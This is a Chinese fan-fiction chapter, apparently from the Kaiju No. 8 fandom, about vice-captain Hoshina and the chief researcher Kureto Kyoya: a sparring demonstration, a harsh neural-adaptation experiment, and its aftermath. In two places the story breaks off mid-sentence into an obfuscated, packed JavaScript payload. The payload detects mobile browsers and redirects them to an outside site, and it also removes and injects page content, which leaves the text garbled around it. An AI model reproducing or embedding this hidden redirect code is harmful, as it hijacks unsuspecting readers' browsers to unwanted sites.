在保科的认知里,这手环与暮戈送给亚白的那个稳定器部件性质类似,都是基于专业认可的技术馈赠,标志着他们从监管与被监管的僵硬关系,顺利过渡到了融洽的、彼此信任的战友与合作伙伴。 一直沉默旁观的亚白米娜,视线在那枚过分贴合保科腕骨、设计显然倾注了额外心思的环上停留一瞬。她想起自己收到那个用以稳定「苍雷」能量流的金属构件时,暮戈京矢是如何姿态专业、用词精准地将部件和说明书一起递过来,整个过程无可挑剔,却也界限分明。 而保科腕上这个…… 线条凌厉却仿佛为他量身打造,能量纹路的走向似乎都考虑到了他手腕的骨骼和发力习惯。这不像是个标准化的工具,倒像是…… “很实用。”亚白重复了他的话,语气平淡无波,她想起暮戈京矢为自己调试武器时,那双稳定到近乎机械、始终保持安全距离的手。 小此木看看保科腕间那个充满个人风格的黑环,再联想到暮戈首席那让人捉摸不透的性子,忍不住小声嘀咕:“上次那个模块我对着说明书研究了很久呢,暮戈首席给的东西总是很复杂,这个……看起来好像没有说明书……” 保科看着两位同伴,脸上的笑容依旧温和,但深红色的眼底掠过一丝茫然。“功能和使用方法,暮戈首席已经亲自跟我说明过了。”他解释道,似乎还没抓住重点。 亚白闻言,与小此木交换了一个短暂的眼神:没救了。 亚白将视线重新投向保科,轻轻地弯了一下唇角。她没肯定也没否定,只是多了只有熟悉的人才能听出的、细微的调侃: “看来,首席对你……格外用心。” 保科听出来队长话中的意味深长,但仍然不明所以,“我们……合作得是挺顺利的。”他试图维持之前的论调,但语气里已经带上了一点不确定。 亚白不再多言,率先迈步。小此木赶紧跟上,却忍不住一步三回头地瞄向保科的手腕。 而保科宗四郎,这位在战场上洞察力惊人的副队长,仍沉浸在跟同事关系有所良性进展的喜悦中,指尖又一次无意识地抚过腕环。那道湛蓝流光在他指下静静闪烁,像一个除了他本人,谁都看懂了其特殊意味的、沉默的宣告。 上午九点,训练场看台上,保科正监督着新人们的格斗对抗,自从日本教育改革后,各高中都把武道加入了基础课程,学生可以选择剑道,弓道,格斗术等等,如果考入讨伐高校,还有机会接触到各种流派的体术教学,以军校自卫官和防卫队格斗术为主流基础。 简单来说,格斗对抗比起队式训练,更加个性化,更有趣味性,是新人们交流感情,深入了解彼此的好机会。场间氛围也确实是热火朝天,队员们五花八门的格斗技虽然在保科眼里有些不够看,但足够有意思。 中场哨声刚响,他的余光就瞥见场边一道熟悉的身影。 暮戈京矢正大步流星地穿过训练场边缘,她今天一早去了总部,似乎刚刚回来,深蓝色的首席军装衬得她身形挺拔利落。她身后,三四名穿着白大褂的研究员正抱着一堆数据板,几乎是一溜小跑才能跟上她的步伐,像一群紧张跟着母鸭的小鸭子。 保科的眼睛瞬间就亮了。他几乎没做任何思考,脸上已经扬起笑容,单手一撑看台栏杆,轻巧地从四米多高的看台翻跃而下,精准地、悄无声息地落在了暮戈京矢正前方,恰好挡住了她的去路。 “哟!”他笑得露出了两颗虎牙,关西腔软绵绵的,带着点自然的亲昵,“首席大人,这么匆忙是要去哪儿啊?” 骤然被拦住去路,暮戈京矢身后的研究员们吓了一跳,差点撞作一团。她本人倒是脚步一顿,停了下来,绀青色的眼眸看向眼前这个笑容过分灿烂的副队长,眉头轻轻动了一下。 “去三号分析室,有个数据急待处理。”她的语气平淡,听不出喜怒,但也没有立刻绕开他走掉。 “数据分析什么时候都能做嘛,”保科凑近一步,几乎挡住了她所有的去路,声音压低了些,带着点哄劝的意味,“我们这边格斗对抗正到精彩处,新人里有几个好苗子,你去帮忙掌掌眼?就当是……换换脑子,活动一下?” 他这话说得毫无道理,分析数据和格斗对抗根本风马牛不相及。他身后的研究员们都替副队长捏了把汗,以为首席会冷着脸拒绝。 暮戈京矢静静地看着他,看着他那双充满期待、写满了“快答应我吧”的深红色眼睛。她沉默了几秒,就在所有人都以为她会无视离开时,她却叹了口气,侧头对身后那群“小鸭子”吩咐道:“你们先去,初步建模。我稍后就到。” 研究员们如蒙大赦,又略带好奇地看了一眼副队长,赶紧抱着东西离开了。 保科脸上的笑容瞬间放大,得寸进尺地说:“这就对了嘛!走走走,保证不让你失望!” 暮戈京矢任他半推半就地带往看台方向,脸上依旧是那副没什么表情的样子,视线状似无意地划过他左手,看到那枚手环正好好戴在他手腕上。 又是一轮对练结束,保科被兴奋的新人们团团围住,他脸上挂着那标志性的、令人如沐春风的笑容,深红色的眼眸专注地扫过每一张年轻而充满朝气的脸庞。 “刚才那一记侧踢,发力点再往上移三公分,效果会更好。” “你的防守节奏很好,但反击的时机可以更大胆一些。” “组合技的衔接非常流畅,就是下盘还需要再稳一点。” 他挨个点评,语气温和却一针见血,不仅能精准指出每个人的问题,甚至能叫出大部分人的名字,点出他们之前训练中的习惯性小动作。这份洞察力和记忆力,让新人们愈发敬佩,眼神里的崇拜几乎要满溢出来。 暮戈京矢独自站在不远处的阴影里,背靠着冰冷的金属墙柱,双臂环抱。她看着那个在人群中游刃有余、仿佛自带温暖光圈的副队长,不自觉轻轻掐了下掌心。 她能记住庞大数据库里每一个冗长的参数和公式,能解析最复杂的能量回路,却觉得记住这些毫无价值的、如同菜鸟过家家般的格斗细节和对应的人名,实在是一项……令人费解且繁琐的本事。 她周身仿佛自带一个无形的真空地带。那身笔挺的、象征着防卫队最高技术权威的深蓝色首席军装,以及她那张过于精致却冷若冰霜的脸,都像一道无形的壁垒,将训练场上的热血与喧嚣隔绝在外。没有人敢轻易靠近,甚至连目光都不敢过多停留。 然而,在保科高超的引导和现场越来越火热的气氛催化下,总有初生牛犊不怕虎的勇士。 一个刚刚被保科指导过、剃着板寸头、眼神格外亮得惊人的少年,似乎被现场的气氛和副队长的鼓励冲昏了头脑。他深吸一口气,猛地向前踏出几步,在距离暮戈京矢五米远的地方停下,挺直胸膛,用尽全身力气大声喊道: “暮、暮戈首席!请、请指教!” 洪亮的声音甚至盖过了场上的嘈杂,瞬间,整个训练场鸦雀无声。 所有目光都聚焦过来,带着震惊、好奇,以及为这位勇士捏一把汗的紧张。连保科都略带惊讶地挑了挑眉,看向那个勇敢或者说鲁莽的新人,又看向暮戈,深红色的眼底带着一丝不易察觉的探究和期待 暮戈京矢缓缓抬起眼睑,绀青色的瞳孔如同冰冷的湖面,倒映着少年因紧张而微微发红的脸。她没有说话,只是目光仿佛有实质的重量,压得少年几乎要喘不过气,额角渗出了细密的汗珠。 就在少年快要撑不住,腿肚子开始打颤的时候,暮戈京矢终于动了。 她放下环抱的手臂,军装布料发出细微的摩擦声。她没有看那个少年,而是将目光转向了保科宗四郎: “你教的?” 保科愣了一下,随即失笑,连忙摆手:“这可冤枉我了,首席。这是队员们自发的好学之心。” 暮戈略显不耐地微微蹙眉: “没空。” 她冷淡地吐出两个字,作势就要转身离开。这种纯粹的、不掺杂任何情绪的拒绝,比愤怒更让人难堪,少年脸上的血色瞬间褪去。 “咳。” 一声清晰的轻咳从旁边传来。 保科宗四郎走了过来,脸上挂着无可挑剔的温和笑容,但那双深红色的眼睛看向暮戈时,却带着一点不易察觉的、近乎“怂恿”的光芒。天知道这女人恢复权限后,在“深度适配”的名目下把他这个“完美样本”折腾得有多惨。眼下有个光明正大看她“活动筋骨”的机会,他怎么能错过? “暮戈首席,”保科开口,关西腔带着精准的煽动性,“新人难得有这么旺盛的求知欲,也是立川基地未来的希望。您就当……给后辈一个开拓眼界的机会?” 他话说得漂亮,眼神里的那点“看好戏”的意味却瞒不过她。 暮戈京矢准备离开的动作停住了。她转过头,目光落在保科脸上,将他那点想看热闹的小心思看得一清二楚。 "......我很少跟人''切磋''。"她突然说了句看似不相干的话,声音不高,却清晰地传入保科耳中。 保科微微一怔。这话听起来像是文职人员疏于对抗的托词,但莫名的,他听出点别的意思。 没等他想明白,暮戈已经用只有他们两人能听清的音量,轻飘飘地补充道: "行。记你账上了。" 保科脸上的笑容僵硬了一瞬。 而暮戈已经转向那个少年,她觉得她已经尽到了告知义务。 要说明的是,这个敢于挑战的少年并非菜鸟,他是根正苗红的讨伐高校优秀毕业生,体术格斗在这批新人中出类拔萃,动作标准,基础扎实,力量与速度都颇有可观之处。保科原本就挺看好他。 保科自认为很清楚暮戈的实力——上次在宿舍走廊抢夺终端时,她那如同精密机械般的反应、匪夷所思的柔韧性和那些充满异域风格的灵巧手法,早已让他明白,单论身体能力和战斗智慧,她绝对是个难缠的角色。他此刻的怂恿,更多是出于一种好奇:他想知道,这位首席研究员,在需要正面击倒一个“敌人”时,会展现出怎样的一种手段?是会像抢夺终端时那样灵巧周旋,还是…… “三招。”她走向旁边的训练垫,甚至没有脱下那身军装,“还能站着,算你合格。” 然后,保科看到了他完全未曾预料的东西。 没有他预想中的见招拆招,没有利用速度与柔韧性的巧妙周旋。 寸头少年深吸一口气,眼神锐利,摆出无可挑剔的防卫队格斗起手式,周身气势沉稳。他低喝一声,一记迅猛如雷的直拳破空而出,无论是速度、力量还是角度,都彰显着扎实的功底,直取暮戈面门—— 他的动作定格于此。 不是他不想继续,而是他的身体在本能地尖叫着停下! 他势在必得的一拳,在启动的瞬间就被扼杀。暮戈京矢的动作没有任何预备,不像防卫队格斗术那样有清晰的蓄力或步伐移动,快的让人看不清,她的左手已经如同铁钳,精准扣死他出拳的手腕关节缝隙,剧痛让他半个身子麻痹。但这仅仅是开始。 几乎在扣住他手腕的同时,她的右臂已经如同出膛的炮弹,手肘带着撕裂空气的短促尖啸,直冲他的咽喉!他甚至能感受到肘尖带来的冰冷风压。 “一。” 计数声与死亡的阴影同时降临。她的肘尖就停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“合格了?”保科的声音带着一丝沙哑,他走上前,目光复杂地看着暮戈。他现在完全明白她那句“很少切磋”是什么意思了——在她的字典里,恐怕根本没有“切磋”这个词。 那些会因真实杀意而迟疑、犹豫、动摇的人,或许早已倒在了她来时的路上 暮戈京矢垂眸看着瘫软在地、失魂落魄的少年,她沉默了一秒,仿佛在评估他精神受创的程度,又好像在权衡措辞。她没有胜利者的姿态,也没有理会保科那句干涩的“合格了?”只是平静地开口,却奇异地冲淡了刚才那令人窒息的杀意: “你的直拳,启动速度在新人里排得上前三。” 她在少年茫然而惊惧的目光中,继续用那种没有起伏的声线说道: “但面对非标准攻击路径,你的预案不足,应变太慢。” 她没有提自己那致命的三招,没有提距离,只是点出了少年自身存在的问题,将刚才那场单方面的碾压,轻描淡写地定性为一次“应对非标准攻击”的失利。 然后,她的目光扫过那些惊惧未定的年轻面孔,说出了与刚才那狠辣战斗风格截然不同的话: “不用学这个。” 她顿了顿,视线最终落回保科身上,话却仍是说给所有新人听的。 “跟着你们副队长,学点好的。” 这话的意思再明白不过——她身上的东西并非这些未来要在阳光下守护秩序的防卫队员应该沾染的。她清晰地知道防卫队的界限在哪里,并且,她愿意尊重和守护这条界限。 说完,她不再停留,转身走向训练场出口。 然而,当她走向人群时,原本围得水泄不通的新队员们,竟下意识地、齐刷刷地向后退开,为她让出了一条宽阔的通道。他们的眼神里,先前或许还有好奇与崇拜,此刻却只剩下清晰无比的畏惧,甚至不敢与她的目光接触。一位站在前排的女性队员,在与她视线交错的瞬间,更是忍不住瑟缩了一下,向同伴身后躲去。 暮戈京矢的脚步没有丝毫停顿,甚至连眼神都没有偏移一分,她似乎对这条由恐惧铺就的道路早已习以为常,或者说,根本不在意。她径直穿过通道,仿佛周围退开的人群和畏惧的目光,与实验室里自动避让的机械臂并无不同,身影利落地消失在门口。 保科宗四郎看着她离去的方向,又看了看周围队员们惊魂未定的神色,心里那点“看热闹”的心思早就烟消云散,取而代之的是一种说不清道不明的……在意。他甚至没仔细琢磨这种“在意”是什么,身体已经先于意识做出了反应—— “这里交给你们收尾。”他匆匆对旁边一位老队员交代了一句,便迈开长腿,朝着暮戈离开的方向追了上去。 他在走廊转角追上了她。她走得不快,但步频稳定,显然目标明确。 “首席!”保科几步赶到她身侧,与她并肩而行,脸上又挂起了那副温和笑容,只是关西腔里带上了一点不易察觉的试探,“走这么快?生气了?” 暮戈京矢目不斜视:“去三号分析室。你挡着他们了。”她指的是他身后可能存在的、需要通行的队员。 “哦。”保科从善如流地往她这边靠了靠,缩小了自己占用的空间,但完全没有离开的意思。“总部那边没再为难你吧?”他试图找个话题,眼神往她侧脸上瞟。 “嗯。”暮戈应了一声,没接话。 “那个新人,底子确实不错,就是心态还得练练。”保科继续没话找话。 “嗯。” “你最后跟他说的那几句,挺有用的,我看他好像缓过来点了。” “嗯。” 一连三个“嗯”,堵得保科有点没脾气。他知道她不是故意冷淡,她就是这种沟通风格,但此刻他莫名地就是想让她多说几个字。 “......暮戈,”他试图让语气听起来轻松些,“你这‘教学示范’……是不是有点太震撼教育了?我看那几个孩子都快有心理阴影了。” 暮戈眉梢微扬,终于对他露出点笑意:“认知冲击是建立正确风险评估的必要环节。他们现在知道了,世界上存在教科书以外的攻击模式,这是好事。” 保科:“……” 他看着她这副油盐不进、自洽到极点的模样,忍不住低笑出声。 好吧,看来是他想多了,这位首席的内心稳固得像堡垒,刚才那点小场面,恐怕连她堡垒外墙的灰尘都没震下来。 22.能力越大——? 当日下午,十号战斗服的深层适配实验室里。 "呃!"保科宗四郎发出一声压抑的闷哼,高强度神经接驳带来的负荷让他的肌肉不受控制地颤抖,呼吸彻底乱了节奏,胸膛剧烈起伏。 暮戈京矢站在主控台前,冷静地注视着数据面板。"你的呼吸乱了,副队长。这会导致血氧浓度下降。"她顿了顿,"现在,放弃自主呼吸。" "什么?"保科几乎以为自己听错了。放弃呼吸?这怎么可能? "我将接管你的呼吸节奏。"她宣布。 下一刻,保科猛地睁大了眼睛。他清晰地感觉到自己的横膈膜被一种外来的电子信号强行操控,开始以一种绝对规律、却完全不属于他自己的节奏运动。 他失去了对身体最基本功能的控制权,只能被动感受着空气被强行压入和抽出肺部。 就在这时,暮戈拿起私人终端,当着他的面输入: 【保科副队长,于格斗训练场,怂恿研究人员进行非必要体力劳动 - 次数:1。】 她将屏幕转向他,让他看得清清楚楚,然后用听不出情绪的声音公事公办地说: "呼吸频率维持在当前区间,有助于你更快适应负荷。坚持住,副队长。" 保科:"......" 他看着她冷静的侧脸,感受着那完全不受自己控制的规律呼吸,认识到她上午那句“记你账上了”,可能比他想象中还要贵。 而这笔账,她收得毫不犹豫,连本带利。 这感觉虽然陌生且难熬,但不可否认的是,在这被强行调控的、非人的呼吸节奏下,他体内躁动的能量和紊乱的生理数据,竟真的开始逐渐趋于稳定,达到了此阶段模型预测的最佳标准。 暮戈京矢扫了一眼稳定下来的核心参数,似乎还算满意。她大发慈悲地终止了这一轮的实验进程,声音依旧平淡:"阶段性目标达成。休息30分钟。" 保科惊讶地抬起头看她——30分钟?这么长的休息间隔,在他参与适配测试以来简直是破天荒的头一遭。尤其是在他刚刚"赊了账"的前提下,他都已经做好了被连续折腾两小时毫无间隙的心理准备。 暮戈京矢没有理会他的惊讶,利落地一挥手。环绕在保科周围的传感设备应声解除、撤下。几乎在同一时间,另一套看起来更为复杂、泛着冰冷金属光泽的庞大仪器被迅速推入,占据了实验室中央的位置。其结构之精密,部件之繁多,透出一股不祥的气息。 她本人则走到他面前,示意他起身。保科没怎么费力就从那张刚刚"折磨"过他的测试椅上站了起来,随即看着那把椅子被工作人员迅速拆解搬离。 "今天......是要进行新项目了吗?"保科看着那套崭新的、散发着寒气的仪器,心里隐隐有些发毛。 暮戈京矢点了点头,目光在那套新设备上流连,带着一种研究者看到完美工具般的欣赏。"鉴于......"她的视线转回保科身上,用一种近乎愉悦的口吻宣布,"你的身体机能和基础适应性连续超出模型预测,我决定优化进程,适当提速。" 她眼中闪烁着的是对他这个"优质实验体"毫不掩饰的满意光芒,仿佛在欣赏一件趁手的利器。 "今晚,我会完成全部的15轮完全接驳极限阈值测试。" 保科听到这话,差点一个踉跄没站稳:"......‘完全’指的是?"他只能在数个听起来就相当可怕的关键词里,先挑出那个最令人不安的提问。 暮戈已经把他扒拉到一边,开始手动辅助组装一个新的测试椅,看上去占地面积更大,功能性更强,嘴上随意地解释:“之前进行的测试都是神经和身体上的,现在要加入模拟的10号意识流,你可以理解为深入到了大脑和精神层面。” 保科看着那逐渐成型的、如同刑具般的测试椅,还是试图挣扎一下:“今天要完成全部轮次?我觉得......” “副队长,”她声音清晰而冷静的打断他,“你是迄今为止最完美的深度适配者。” 她微微前倾,目光锁住他深红色的眼睛,抛出了一个让他心动的条件: “所以,我调整了方案。只要你今天能撑过这连续的15轮完全接驳极限阈值测试——” 她顿了顿,确保他听清了每一个字。 “下一次,我们就可以跳过这些繁琐的前置步骤,直接进入与十号战斗服的初步实体同步测试。” 直接与十号实体同步! 这个目标瞬间点燃了保科眼中所有的犹豫。对力量的渴望,对尽快形成新战力的迫切,压过了对未知的警惕。 “好,”他深吸一口气,“我会跟上你的节奏,首席。” 半个小时后,暮戈京矢调试完毕,示意保科躺上去。 保科依言躺下,身体陷入符合人体工学的支撑材料中。然而,就在他调整好姿势的瞬间,只听几声轻微的“咔哒”声,数条柔韧的合金拘束带从他的腰部、大腿和手腕部位悄然伸出,平稳而坚定地贴合固定,力道恰到好处,既不造成疼痛,却也明确地传达出“难以挣脱”的信号。 保科的身体瞬间绷紧,深红色的眼眸看向站在一旁的暮戈。 暮戈京矢正低头检查着拘束带的压力数据,感受到他的视线,才抬眸迎上:“意识冲击下的无意识挣扎会干扰数据采集,甚至损坏昂贵设备。这是标准安全流程。” 她顿了顿,补充道,声音里听不出什么情绪,却让保科心头一凛: “准备好,副队长。当你的意志可能不再可靠时,这些就是必要的保障。真正的考验,现在才开始。” 保科看着头顶冰冷的金属结构,感受着身上那虽不强硬却存在感十足的束缚,忽然觉得,之前那些单凭意志力硬抗的测试,简直如同温和的问候。 暮戈京矢的声音透过内置通讯器传来,平静无波:"开始第一轮,基础意识流导入。准备。" 保科深吸一口气,点了点头。他以为自己已经习惯了神经接驳的负荷,做好了心理准备。 然而,当模拟的十号意识流如同冰冷的潮水般第一次涌入他的脑海时,他才意识到自己错得多么离谱。 这不再是单纯的神经刺痛或肌肉痉挛。这是一种……入侵。 混乱、暴戾、充满了原始兽性的碎片化意念,如同无数细小的冰锥,直接刺入他的思维。不属于他的愤怒、狂躁、以及一种冰冷的吞噬欲,与他自身的意识猛烈冲撞。身体上的负荷此刻仿佛变成了遥远的背景噪音,真正的战场在他的精神世界展开。 第一轮冲击结束的间隙,保科猛地喘了一口气,像是刚从水下浮出。冷汗瞬间湿透了他的作战服,指尖不受控制地发颤。这种直接作用于精神层面的撕扯感,远比他想象的更具侵蚀性。 "暮戈……"他几乎是下意识地开口,想要表达这种不适,或许潜意识里也带着一丝寻求缓冲的意味。 "生理指标波动在预期范围内,神经耐受性未触及阈值。"暮戈京矢的声音立刻响起,冷静地打断了他,没有丝毫犹豫,"只是不适应。记录数据,准备第二轮,强度提升10%。" 她甚至没有给他完整表达感受的机会。在她看来,这初次接触的不适,仅仅是需要被克服的、微不足道的初始障碍,远未到需要暂停的地步。 保科的话被堵在喉咙里。 紧接着,第二轮冲击到来,比第一轮更加汹涌。混乱的嘶吼在他脑中放大,扭曲的影像碎片闪烁不定。他闷哼一声,咬紧了牙关。 "第三轮,强度提升15%。" "第四轮……" 暮戈京矢有条不紊地推进着进程。她注视着屏幕上保科逐渐攀升的指标和依旧稳定的生理数据屏障,判断他远未达到她所需要的、能够揭示十号意识本质与适配者极限的"有效数据区间"。任何可能的抗议或软弱的苗头,都在她基于数据和目标的理性判断下,被无情地扼杀在摇篮里,这种时候,所有的“人情”都要为绝对的效率让步。 十五轮。 理论上预设的极限轮数,保科硬是扛了下来。 当第十五轮冲击的余波终于散去,他以为……终于结束了。 然而,隔离玻璃后,暮戈京矢的眉头却几不可查地蹙起。她快速回放着刚刚采集到的神经信号图谱,指尖在某一处异常波动上轻点。 “第十七区神经丛反馈信号存在干扰噪声,第三轮和第九轮的意识流同调率未达到最优采集标准。”她的声音透过通讯器传来,冷静地宣判着,“数据完整性不足,无法构建完美模型。准备启动第十六轮,侧重补足缺失波段。” 这些在保科感觉中几乎无法分辨的细微“不完美”,在她眼中却是无法容忍的数据瑕疵。完美的样本,必须匹配完美的数据。 “记录:追加三轮补充测试。目标,复现并完善第三、第九及第十五轮的关键数据节点。”她没有任何犹豫,直接对系统下达了新的指令。 刚刚得到一丝喘息之机的保科,甚至没来得及平复仍在颤抖的呼吸,就感觉到那熟悉的、令人心悸的能量波动再次在实验舱内聚集。 新一轮的冲击,比之前任何一轮都更漫长,更专注于撕扯他精神防御的特定薄弱点。 这仅仅是个开始。 “第二十轮,能量注入波形微调,验证耐受极限假设。” “第二十二轮,模拟实战干扰环境下的意识锚定测试。” …… 空气因高浓度能量而微微扭曲,又一股撕裂般的痛楚席卷而来,保科的视野开始模糊,意识边缘发出危险的嗡鸣。 他已经在这种极限状态下支撑了远超常规的时间。 他知道这是必要的测试,也知道她追求完美的性格,但身体的抗议已经达到了极限。 暮戈京矢站在主控台前,绀青色的眼眸冷静地注视着屏幕上疯狂跳动的数据流和保科的生理指标。她指尖轻点,准备启动下一轮更高强度的测试。 “等、等等……”保科的声音因痛苦而沙哑,带着几乎无法察觉的颤抖。他艰难地抬起头,望向那个在仪器冷光中显得格外疏离的身影,在理智彻底崩断前,某种本能让他放弃了所有头衔和距离,用带着黏连尾音的关西腔,低声唤出了那个名字: “……京矢……这次,真的……放过我吧……” 那个名字的罗马音(Kyoya)从他唇间逸出,带着气音,显得异常柔软,与他此刻的脆弱奇异地混合在一起,有一种难以言喻的亲昵和示弱。 暮戈京矢准备按下指令的手指顿在了半空。 她缓缓转过头,目光落在他苍白汗湿的脸上。那双总是带着温和笑意的深红色眼眸此刻因痛苦而湿润,正直直地望着她,带着无声的恳求。 一股隐秘的、带着掌控欲的满足感,如同细微的电流般窜过她的神经末梢,她非常、非常受用。 但她面上丝毫不显,只是微微歪了歪头,用比平时更轻、更缓,带着点玩味探究的语调反问: “副队长……”她故意停顿了一下,欣赏着他此刻难得一见的脆弱姿态,才慢悠悠地接上,“……你这是在撒娇吗?” 保科被她这句话噎得一口气差点没上来,苍白的脸上竟被逼出一点血色。是,他是有点那个意思,但被她这样直白地点破,简直…… “……随你怎么说。”他声音沙哑,带着点自暴自弃。 暮戈不动声色地收回目光,修长的手指在控制台上轻巧地跳跃了几下,原本准备启动高强度测试的指令,被她悄无声息地替换成了强度减半、持续时间更长的温和适应程序,屏幕上那令人心惊胆战的能量曲线,终于开始平稳而迅速地回落。 “忍耐一下,”她的声音依旧冷清,但若仔细听,似乎比刚才柔和了那么一丝丝,“这个阶段……很快就结束了。” 保科闭上眼睛,认命地准备迎接下一波痛苦,却发现预想中的剧烈冲击并未到来,取而代之的是一种虽然依旧难熬,但尚在可承受范围内的持续性压力。 他有些困惑地睁开眼,看向暮戈。 而她只是专注地盯着数据屏幕,仿佛刚才什么都没有发生。 实验结束的提示音在室内响起,束缚装置应声解锁。 保科几乎是瞬间脱力,身体不受控制地向前软倒。预期的冰冷地面没有到来,一双手臂及时地、稳稳地架住了他。 是暮戈京矢。 她不知何时已离开了主控台,来到了他身边。实验状态下的那种绝对理智和疏离感,如同潮水般从她身上褪去,她什么也没说,只是架住他的胳膊,用一个巧劲将他从测试椅上扶了起来。 保科整个人几乎都挂在了她身上。鼻尖萦绕的不再是刺鼻的生物活性剂的味道,而是她身上那股极淡的、混合着消毒水和某种冷冽金属的气息,他的下巴就抵在她单薄的肩膀上。 “……我自己可以。”他试图挣扎,声音却虚弱得毫无说服力,身体更是沉得不像自己的。 暮戈没有理会他徒劳的抗议,只是调整了一下姿势,让他能更省力地靠着自己。她的手臂绕过他的后背,稳稳地扶住他,另一只手甚至轻轻拍了拍他的手臂,像一个无声的、生涩的安抚。 “别乱动。”她的声音很近,响在他的耳侧。 就是这种时候——保科迷迷糊糊地想——就是这种脱离了她那套“研究员”身份后,不经意间流露出的、与她平日尖锐刻薄截然不同的一点点温柔,最要命。 这比任何精密的仪器、任何冷酷的数据都要命。 它让你清晰地意识到,包裹在那层坚冰之下的,是一个真实存在的人。而这份独一无二的、极其吝啬的温情,此刻正毫无保留地给予你。 换谁都受不了。 他最终放弃了挣扎,任由自己将重量交付给她,低声嘟囔了一句含混的、大概是道谢的话。 暮戈没有回应,只是支撑着他,一步步缓缓地、稳定地,走向休息区。 ...... ...... 当保科宗四郎从沉睡中醒来时,映入眼帘的是宿舍熟悉的天花板。 晨光透过窗帘缝隙,在地板上投下狭长而明亮的光带。他有些茫然地眨了眨眼,意识缓缓回笼,最后的记忆定格在暮戈京矢支撑着他,走向休息区的模糊画面。再往后,便是模糊的、断断续续的记忆碎片,像是蒙着一层浓雾,只记得似乎有人一直在身边,动作轻缓地处理着什么,偶尔有极低的、听不清内容的交谈声。 至于自己是怎么回到宿舍,如何躺到床上的,则完全是一片空白。 他下意识地动了动身体。 好像......不太对劲。 预想中经过昨日那般残酷测试后应有的、深入骨髓的酸痛和疲惫并未出现。反而有种跟往常不太一样的轻松感,好像经过了一个漫长,彻底的休假一样。 更让他惊讶的是周围的世界变得前所未有的“清晰”。 他甚至没有刻意去听,走廊外几十米远处,两名队员压低声音的交谈就清晰地钻入耳中。 “……真的假的?副队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16734398|188811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长昨天在实验室待了一整晚?” “暮戈首席也太狠了……” “嘘,小点声……” 保科微微一怔,这距离和隔音,按常理他绝无可能听清。不仅如此,他还能分辨出其中一人喉咙有些轻微的发炎,另一人鞋底沾着训练场特有的塑胶颗粒摩擦地面的细微声响。 视觉也变得不同。阳光中浮动的微尘轨迹前所未有的清晰,墙壁上涂料细微的纹理,远处建筑玻璃幕墙反射光的微妙色差,都以前所未有的精度呈现在他眼中。 他猛地坐起来,指尖擦过棉质床单,能清晰地感知到织物经纬交织的每一道凸起,仿佛触觉神经被放大了一般。 空气中弥漫着多种复杂的气味——被子上阳光晒过的味道,远处食堂飘来的、混合了至少三种食材的早餐香气,甚至能隐约分辨出走廊里不同人路过时留下的、极其淡薄的个人清洁用品的气息。 这到底是?那些实验的......“正向作用”吗。 他抿了抿唇,舌尖下意识地舔过下唇内侧。 嗯? 他明明记得,在测试的最后阶段,难以忍受的痛苦让他死死咬住了下唇,甚至尝到了清晰的铁锈味。 但预想中破损和血痂带来的粗糙感并未出现,那里一片光滑。他愣了一下,起身走到浴室的镜子前。 镜中的自己,除了脸色还有些许训练后的苍白,并无太多异样。身上那些因拘束带和剧烈反应留下的压痕、淤青,都被仔细地涂抹上了一层清凉透明的药膏,他仔细看了看嘴唇,原本在极限痛苦中被自己咬破的地方,伤口显然已经被精心处理过,正在以远超自然的速度愈合。 同样变得敏锐的味觉让他甚至能分辨出残留药膏里至少含有薄荷、银叶菊和一种他无法识别的矿物成分的细微味道。 保科看着镜中的自己,忽然低低地笑了一声,摇了摇头。他能想象出那个画面——暮戈京矢一定是皱着眉,用处理精密仪器般的态度,一丝不苟地替他清理、上药、更换衣物,甚至可能还记录下了他沉睡时的各项生理数据。 她不仅将他安然送回,处理了他所有的身体不适,甚至注意到了连他自己在崩溃边缘都无暇顾及的、嘴唇上这点微不足道的小伤口。 这种极致到近乎偏执的细致,这种将冷酷实验与温柔善后截然分开的行事风格,确实是她会做的事。 保科换好衣服,推开宿舍门。清晨的阳光有些刺眼,他微微眯起眼,感受着前所未有的清明感官。虽然过程堪称折磨,但结果…… 这一切变化并非负担,反而让世界以一种更丰富、更清晰的姿态展现在他面前。 当保科宗四郎拎了份早餐再次踏入暮戈京矢的实验室时,发现里面的灯光调得比平时昏暗许多。 暮戈京矢正慢吞吞地整理着工作台,动作比平时迟缓不少,桌面上摊了一堆精巧的零部件,被她粗暴地扫到一边,腾出一小片空地。 "早啊首席!"保科活力满满地打招呼。 暮戈缓缓转头,眼神涣散:"......早。" "你又通宵了?"保科把早餐放到一处看起来勉强空置的台面。 "嗯……"她又把头转了回去,直勾勾盯着手边一个初见雏形的模块:"昨晚送你回去后……突然有个灵感......" 说到昨晚,保科下意识想开口道谢,为了那份试验后的妥帖照顾. “不用谢我。”暮戈京矢一看他表情就知道他要说什么,用梦游一样的飘渺的声音截断了他,“只是把你扔到全自动消杀门里关了五分钟而已。标准清洁程序。” 保科到了嘴边的“谢谢”顿时卡住了。 消杀门?就是那个用高强度能量流和活性粒子进行彻底灭菌,通常只用于处理从高危区域出来的设备和防护服的玩意儿?关五分钟? 他看着她试图警惕起来却抵挡不住困意的侧脸,心里却忍不住失笑。 是了,这很“暮戈京矢”。她自己就惯常用那种连活性组织碎屑都能剥离的彻底消杀来代替麻烦的日常沐浴,会觉得把人扔进去“清洁”一下很正常……才怪! 他自己的身体自己清楚。那种由内而外的舒畅感,肌肉疲劳的完美缓解,以及唇上那精心处理过的伤口……这绝不是什么粗暴的“消杀”能达到的效果。那些细致妥帖的上药、可能还包括了专业的肌肉松弛剂和能量补充,无一不需要人工的精准判断和操作。 她在说谎。 用一种非常符合她人设的、听起来冷酷又高效的方式,轻描淡写地掩盖了她私下里耗费的心力。 